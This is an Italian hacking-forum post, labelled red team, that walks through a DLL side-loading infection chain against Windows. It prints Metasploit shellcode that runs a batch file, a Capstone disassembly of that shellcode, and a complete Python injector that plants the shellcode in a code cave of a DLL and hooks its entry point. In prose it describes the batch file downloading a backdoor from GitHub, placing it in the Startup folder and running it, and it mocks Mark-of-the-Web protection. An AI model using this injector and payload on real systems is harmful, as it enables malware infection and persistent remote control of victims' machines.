Malware Reversing DLL "hjack" side loading. Assembly rage again, MOTW cry again. [Red Team]

Netcat

Helper
17 Gennaio 2022
532
147
390
716
Questo thread è la prova finale di quanto sia stupido il MOTW. Microsoft dovrebbe inserire il 'chmod +x' di Linux al posto del MOTW, per gli eseguibili scaricati da internet.

Questa feature di Linux implementata su Windows me la immagino così: all'apertura di un file, all'user compare una GUI nera (come il terminal) che dice "Digita chmod +x per eseguire quest'app, e premi ENTER. Controlla di averla scaricata da un sito di cui ti fidi prima di continuare. Chmod +x aggiungerà all'app il bit eseguibile, mettendola in modalità RWX. Se desideri ottenere ulteriori informazioni sui permessi in Microsoft Windows, recati su www.microsoft.com/chmod&permissions.html",
sperando che un giorno ci libereremo del MOTW: una feature di protezione pensata per i boomer.

ANTEPRIMA del workflow:

- Iniezione di bytecode in una DLL;
- Exe PE firmato con EV cert valido (usiamo ExoHelp.exe, del thread precedente);
- Batch wrapper che sfrutta Powershell per scaricare una backdoor hostata temporaneamente su Github, risolvendo il dominio raw.githubusercontent.com 😈 piuttosto che github.com , mentre sfruttiamo (New-Object Net.WebClient).DownloadFile 😈 al posto di Invoke-WebRequest per garantire la propagazione dell'infezione anche a Windows 7 (che non supporta la cmdlet Invoke-WebRequest, di base ha Powershell 2.0, IWBR è stato introdotto nel 3.0)
- Lo script Powershell continua, e risolve dinamicamente la posizione dell'infame directory 'Esecuzione Automatica', ci scarica la backdoor e la esegue. Auguri.

1. Reverse enginering del payload windows/exec di Metasploit, questo payload sfrutta l'API WinExec per passare a CMD l'argomento conf.bat. Con la libreria Capstone di Python disassembliamo il bytecode, e ricostruiamo l'assembly.
PAYLOAD originale:
Codice:
buf =  b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
buf += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
buf += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
buf += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
buf += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
buf += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
buf += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
buf += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
buf += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
buf += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00"
buf += b"\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
buf += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
buf += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
buf += b"\x00\x53\xff\xd5\x63\x6f\x6e\x66\x2e\x62\x61\x74"
buf += b"\x00"

2. Eseguiamo lo script che si occupa di reversare il codice:
Codice:
from capstone import Cs, CS_ARCH_X86, CS_MODE_32, CS_OP_REG, CS_OP_MEM
import re

def disassemble_shellcode(shellcode):
    md = Cs(CS_ARCH_X86, CS_MODE_32)
    md.detail = True
    
    disassembly_output = []
    strings = []

    for i in md.disasm(shellcode, 0x1000):
        instruction = f"0x{i.address:x} : {i.mnemonic} {i.op_str}"
        disassembly_output.append(instruction)
        print(instruction)
        
        for op in i.operands:
            if op.type == CS_OP_REG:
                print(f"\tOperand: Register {i.reg_name(op.reg)}")
            elif op.type == CS_OP_MEM:
                mem_str = "\tOperand: Memory ["
                if op.mem.segment != 0:
                    mem_str += f"{i.reg_name(op.mem.segment)}:"
                if op.mem.base != 0:
                    mem_str += f"{i.reg_name(op.mem.base)}"
                if op.mem.index != 0:
                    mem_str += f"+{i.reg_name(op.mem.index)}*{op.mem.scale}"
                if op.mem.disp != 0:
                    mem_str += f"+0x{op.mem.disp:x}"
                mem_str += "]"
                print(mem_str)

                if i.mnemonic.startswith('mov') and op == i.operands[1]:
                    print("\tMemory Read")
                elif i.mnemonic.startswith('mov') and op == i.operands[0]:
                    print("\tMemory Write")
                elif i.mnemonic.startswith('push') or i.mnemonic.startswith('pop'):
                    print("\tMemory Access (Push/Pop)")
                    
        if i.eflags:
            print(f"\tEFLAGS affected: {i.eflags}")
    strings = extract_strings(shellcode)
    generate_report(disassembly_output, strings)

def extract_strings(shellcode):
    pattern = rb'[ -~]{4,}'
    found_strings = re.findall(pattern, shellcode)
    
    if found_strings:
        print("\nExtracted Strings:")
        for s in found_strings:
            print(f"String: {s.decode()}")
    else:
        print("\nNo strings found.")
    
    return found_strings

def generate_report(disassembly_output, strings):
    print("\n===== Disassembly Report =====")
    print("\nDisassembly:")
    for line in disassembly_output:
        print(line)
    
    print("\nStrings Found in Shellcode:")
    if strings:
        for s in strings:
            print(f"String: {s.decode()}")
    else:
        print("No strings found.")


shellcode = (
    b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
    b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
    b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
    b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
    b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
    b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
    b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
    b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
    b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
    b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
    b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
    b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00"
    b"\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
    b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
    b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
    b"\x00\x53\xff\xd5\x63\x6f\x6e\x66\x2e\x62\x61\x74"
    b"\x00"
)

disassemble_shellcode(shellcode)

Eseguito lo script, otterremo un output che rivela l'assembly in plain text, mostrando inoltre la stringa passata a CMD.
Codice:
0x1000 : cld
        EFLAGS affected: 8388608
0x1001 : call 0x1088
0x1006 : pushal
0x1007 : mov ebp, esp
        Operand: Register ebp
        Operand: Register esp
0x1009 : xor eax, eax
        Operand: Register eax
        Operand: Register eax
        EFLAGS affected: 17592192335900
0x100b : mov edx, dword ptr fs:[eax + 0x30]
        Operand: Register edx
0x100f : mov edx, dword ptr [edx + 0xc]
        Operand: Register edx
0x1012 : mov edx, dword ptr [edx + 0x14]
        Operand: Register edx
0x1015 : mov esi, dword ptr [edx + 0x28]
        Operand: Register esi
0x1018 : movzx ecx, word ptr [edx + 0x26]
        Operand: Register ecx
0x101c : xor edi, edi
        Operand: Register edi
        Operand: Register edi
        EFLAGS affected: 17592192335900
0x101e : lodsb al, byte ptr [esi]
        Operand: Register al
        Operand: Register esi
        EFLAGS affected: 549755813888
0x101f : cmp al, 0x61
        Operand: Register al
        EFLAGS affected: 63
0x1021 : jl 0x1025
        EFLAGS affected: 25769803776
0x1023 : sub al, 0x20
        Operand: Register al
        EFLAGS affected: 63
0x1025 : ror edi, 0xd
        Operand: Register edi
        EFLAGS affected: 1099511627778
0x1028 : add edi, eax
        Operand: Register edi
        Operand: Register eax
        EFLAGS affected: 63
0x102a : loop 0x101e
0x102c : push edx
        Operand: Register edx
0x102d : push edi
        Operand: Register edi
0x102e : mov edx, dword ptr [edx + 0x10]
        Operand: Register edx
0x1031 : mov ecx, dword ptr [edx + 0x3c]
        Operand: Register ecx
0x1034 : mov ecx, dword ptr [ecx + edx + 0x78]
        Operand: Register ecx
0x1038 : jecxz 0x1082
0x103a : add ecx, edx
        Operand: Register ecx
        Operand: Register edx
        EFLAGS affected: 63
0x103c : push ecx
        Operand: Register ecx
0x103d : mov ebx, dword ptr [ecx + 0x20]
        Operand: Register ebx
0x1040 : add ebx, edx
        Operand: Register ebx
        Operand: Register edx
        EFLAGS affected: 63
0x1042 : mov ecx, dword ptr [ecx + 0x18]
        Operand: Register ecx
0x1045 : jecxz 0x1081
0x1047 : dec ecx
        Operand: Register ecx
        EFLAGS affected: 61
0x1048 : mov esi, dword ptr [ebx + ecx*4]
        Operand: Register esi
0x104b : add esi, edx
        Operand: Register esi
        Operand: Register edx
        EFLAGS affected: 63
0x104d : xor edi, edi
        Operand: Register edi
        Operand: Register edi
        EFLAGS affected: 17592192335900
0x104f : lodsb al, byte ptr [esi]
        Operand: Register al
        Operand: Register esi
        EFLAGS affected: 549755813888
0x1050 : ror edi, 0xd
        Operand: Register edi
        EFLAGS affected: 1099511627778
0x1053 : add edi, eax
        Operand: Register edi
        Operand: Register eax
        EFLAGS affected: 63
0x1055 : cmp al, ah
        Operand: Register al
        Operand: Register ah
        EFLAGS affected: 63
0x1057 : jne 0x104f
        EFLAGS affected: 34359738368
0x1059 : add edi, dword ptr [ebp - 8]
        Operand: Register edi
        EFLAGS affected: 63
0x105c : cmp edi, dword ptr [ebp + 0x24]
        Operand: Register edi
        EFLAGS affected: 63
0x105f : jne 0x1045
        EFLAGS affected: 34359738368
0x1061 : pop eax
        Operand: Register eax
0x1062 : mov ebx, dword ptr [eax + 0x24]
        Operand: Register ebx
0x1065 : add ebx, edx
        Operand: Register ebx
        Operand: Register edx
        EFLAGS affected: 63
0x1067 : mov cx, word ptr [ebx + ecx*2]
        Operand: Register cx
0x106b : mov ebx, dword ptr [eax + 0x1c]
        Operand: Register ebx
0x106e : add ebx, edx
        Operand: Register ebx
        Operand: Register edx
        EFLAGS affected: 63
0x1070 : mov eax, dword ptr [ebx + ecx*4]
        Operand: Register eax
0x1073 : add eax, edx
        Operand: Register eax
        Operand: Register edx
        EFLAGS affected: 63
0x1075 : mov dword ptr [esp + 0x24], eax
        Operand: Register eax
0x1079 : pop ebx
        Operand: Register ebx
0x107a : pop ebx
        Operand: Register ebx
0x107b : popal
0x107c : pop ecx
        Operand: Register ecx
0x107d : pop edx
        Operand: Register edx
0x107e : push ecx
        Operand: Register ecx
0x107f : jmp eax
        Operand: Register eax
0x1081 : pop edi
        Operand: Register edi
0x1082 : pop edi
        Operand: Register edi
0x1083 : pop edx
        Operand: Register edx
0x1084 : mov edx, dword ptr [edx]
        Operand: Register edx
0x1086 : jmp 0x1015
0x1088 : pop ebp
        Operand: Register ebp
0x1089 : push 1
0x108b : lea eax, [ebp + 0xb2]
        Operand: Register eax
0x1091 : push eax
        Operand: Register eax
0x1092 : push 0x876f8b31
0x1097 : call ebp
        Operand: Register ebp
0x1099 : mov ebx, 0x56a2b5f0
        Operand: Register ebx
0x109e : push 0x9dbd95a6
0x10a3 : call ebp
        Operand: Register ebp
0x10a5 : cmp al, 6
        Operand: Register al
        EFLAGS affected: 63
0x10a7 : jl 0x10b3
        EFLAGS affected: 25769803776
0x10a9 : cmp bl, 0xe0
        Operand: Register bl
        EFLAGS affected: 63
0x10ac : jne 0x10b3
        EFLAGS affected: 34359738368
0x10ae : mov ebx, 0x6f721347
        Operand: Register ebx
0x10b3 : push 0
0x10b5 : push ebx
        Operand: Register ebx
0x10b6 : call ebp
        Operand: Register ebp
0x10b8 : arpl word ptr [edi + 0x6e], bp
        Operand: Register bp
        EFLAGS affected: 8
0x10bb : bound sp, dword ptr cs:[ecx + 0x74]
        Operand: Register sp

Extracted Strings:
String: ;}$u
String: D$$[[aYZQ
String: conf.bat

===== Disassembly Report =====

Disassembly:
0x1000 : cld
0x1001 : call 0x1088
0x1006 : pushal
0x1007 : mov ebp, esp
0x1009 : xor eax, eax
0x100b : mov edx, dword ptr fs:[eax + 0x30]
0x100f : mov edx, dword ptr [edx + 0xc]
0x1012 : mov edx, dword ptr [edx + 0x14]
0x1015 : mov esi, dword ptr [edx + 0x28]
0x1018 : movzx ecx, word ptr [edx + 0x26]
0x101c : xor edi, edi
0x101e : lodsb al, byte ptr [esi]
0x101f : cmp al, 0x61
0x1021 : jl 0x1025
0x1023 : sub al, 0x20
0x1025 : ror edi, 0xd
0x1028 : add edi, eax
0x102a : loop 0x101e
0x102c : push edx
0x102d : push edi
0x102e : mov edx, dword ptr [edx + 0x10]
0x1031 : mov ecx, dword ptr [edx + 0x3c]
0x1034 : mov ecx, dword ptr [ecx + edx + 0x78]
0x1038 : jecxz 0x1082
0x103a : add ecx, edx
0x103c : push ecx
0x103d : mov ebx, dword ptr [ecx + 0x20]
0x1040 : add ebx, edx
0x1042 : mov ecx, dword ptr [ecx + 0x18]
0x1045 : jecxz 0x1081
0x1047 : dec ecx
0x1048 : mov esi, dword ptr [ebx + ecx*4]
0x104b : add esi, edx
0x104d : xor edi, edi
0x104f : lodsb al, byte ptr [esi]
0x1050 : ror edi, 0xd
0x1053 : add edi, eax
0x1055 : cmp al, ah
0x1057 : jne 0x104f
0x1059 : add edi, dword ptr [ebp - 8]
0x105c : cmp edi, dword ptr [ebp + 0x24]
0x105f : jne 0x1045
0x1061 : pop eax
0x1062 : mov ebx, dword ptr [eax + 0x24]
0x1065 : add ebx, edx
0x1067 : mov cx, word ptr [ebx + ecx*2]
0x106b : mov ebx, dword ptr [eax + 0x1c]
0x106e : add ebx, edx
0x1070 : mov eax, dword ptr [ebx + ecx*4]
0x1073 : add eax, edx
0x1075 : mov dword ptr [esp + 0x24], eax
0x1079 : pop ebx
0x107a : pop ebx
0x107b : popal
0x107c : pop ecx
0x107d : pop edx
0x107e : push ecx
0x107f : jmp eax
0x1081 : pop edi
0x1082 : pop edi
0x1083 : pop edx
0x1084 : mov edx, dword ptr [edx]
0x1086 : jmp 0x1015
0x1088 : pop ebp
0x1089 : push 1
0x108b : lea eax, [ebp + 0xb2]
0x1091 : push eax
0x1092 : push 0x876f8b31
0x1097 : call ebp
0x1099 : mov ebx, 0x56a2b5f0
0x109e : push 0x9dbd95a6
0x10a3 : call ebp
0x10a5 : cmp al, 6
0x10a7 : jl 0x10b3
0x10a9 : cmp bl, 0xe0
0x10ac : jne 0x10b3
0x10ae : mov ebx, 0x6f721347
0x10b3 : push 0
0x10b5 : push ebx
0x10b6 : call ebp
0x10b8 : arpl word ptr [edi + 0x6e], bp
0x10bb : bound sp, dword ptr cs:[ecx + 0x74]

Strings Found in Shellcode:
String: ;}$u
String: D$$[[aYZQ
String: conf.bat

Ora che abbiamo l'assembly in plain text, modifichiamo il codice per usare un API diversa. ShellExecute. Dunque ricompiliamo il codice e lo riconvertiamo in bytecode con NASM. La versione "FUD" dello shellcode non sarà mostrata nel thread per ragioni di sicurezza.

PASSO FINALE: Injector.py - Qua continuo a usare la versione "Non FUD" dello shellcode, con quest'injector. La tecnica di iniezione non è studiata meticolosamente, e infatti il workflow della DLL risulterà compromesso, ma lo shellcode sarà iniettato ed eseguito correttamente. Eseguendo il PE, la nostra DLL si comporterà come previsto, eseguendo il batch malevolo.

Python:
import pefile
import struct

buf =  b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
buf += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
buf += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
buf += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
buf += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
buf += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
buf += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
buf += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
buf += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
buf += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00"
buf += b"\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
buf += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
buf += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
buf += b"\x00\x53\xff\xd5\x63\x6f\x6e\x66\x2e\x62\x61\x74"
buf += b"\x00"


def analyze_dll(dll_path):
    pe = pefile.PE(dll_path)
    print(f"Analyzing DLL: {dll_path}")
    print(f"Entry Point: {hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint)}")
    print(f"Number of Sections: {pe.FILE_HEADER.NumberOfSections}")

    for section in pe.sections:
        print(f"Section: {section.Name.decode().strip()}")
        print(f"\tVirtual Address: {hex(section.VirtualAddress)}")
        print(f"\tVirtual Size: {hex(section.Misc_VirtualSize)}")
        print(f"\tSize of Raw Data: {hex(section.SizeOfRawData)}")
        print(f"\tPointer to Raw Data: {hex(section.PointerToRawData)}")
        print(f"\tCharacteristics: {hex(section.Characteristics)}")

    return pe

def find_code_cave(pe, size_needed):
    for section in pe.sections:
        if section.Characteristics & 0x20000000:
            data = section.get_data()
            for offset in range(len(data) - size_needed):
                if data[offset:offset + size_needed] == b'\x00' * size_needed:
                    print(f"Code cave found at RVA: {hex(section.VirtualAddress + offset)}")
                    return section.PointerToRawData + offset, section.VirtualAddress + offset
    return None, None

def inject_shellcode(pe, shellcode):
    code_cave_offset, code_cave_virtual_address = find_code_cave(pe, len(shellcode))
    
    if code_cave_offset is None:
        print("Failed to locate a suitable code cave.")
        return None
    
    print(f"Injecting shellcode at RVA: {hex(code_cave_virtual_address)}")
    
    pe.set_bytes_at_offset(code_cave_offset, shellcode)
    
    original_entry_point = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    hook_offset = pe.get_offset_from_rva(original_entry_point)
    
    relative_offset = code_cave_virtual_address - (original_entry_point + 5)
    if relative_offset < 0:
        relative_offset = (1 << 32) + relative_offset
    
    jump_to_shellcode = b'\xe9' + struct.pack('<I', relative_offset)
    
    print(f"Original Entry Point: {hex(original_entry_point)}")
    print(f"Jump to Shellcode Offset: {hex(relative_offset)}")
    print(f"Hook Offset: {hex(hook_offset)}")

    original_code = pe.get_data(original_entry_point, 5)
    
    if not isinstance(original_code, bytes):
        original_code = bytes(original_code)
    
    pe.set_bytes_at_offset(hook_offset, jump_to_shellcode)
    
    if len(shellcode) > 5:
        pe.set_bytes_at_offset(code_cave_offset + len(shellcode), original_code[:5])
    else:
        pe.set_bytes_at_offset(code_cave_offset + len(shellcode), original_code)
    
    return pe

def write_modified_dll(pe, modified_dll_path):
    try:
        pe.write(modified_dll_path)
        print(f"Modified DLL written to: {modified_dll_path}")
    except IOError as e:
        print(f"Error writing modified DLL: {e}")
        raise

def main():
    dll_path = 'ExoHelp_M.dll'
    modified_dll_path = 'ExoHelp.dll'
    
    dll_pe = analyze_dll(dll_path)
    
    modified_pe = inject_shellcode(dll_pe, buf)
    
    if modified_pe:
        write_modified_dll(modified_pe, modified_dll_path)

if __name__ == "__main__":
    main()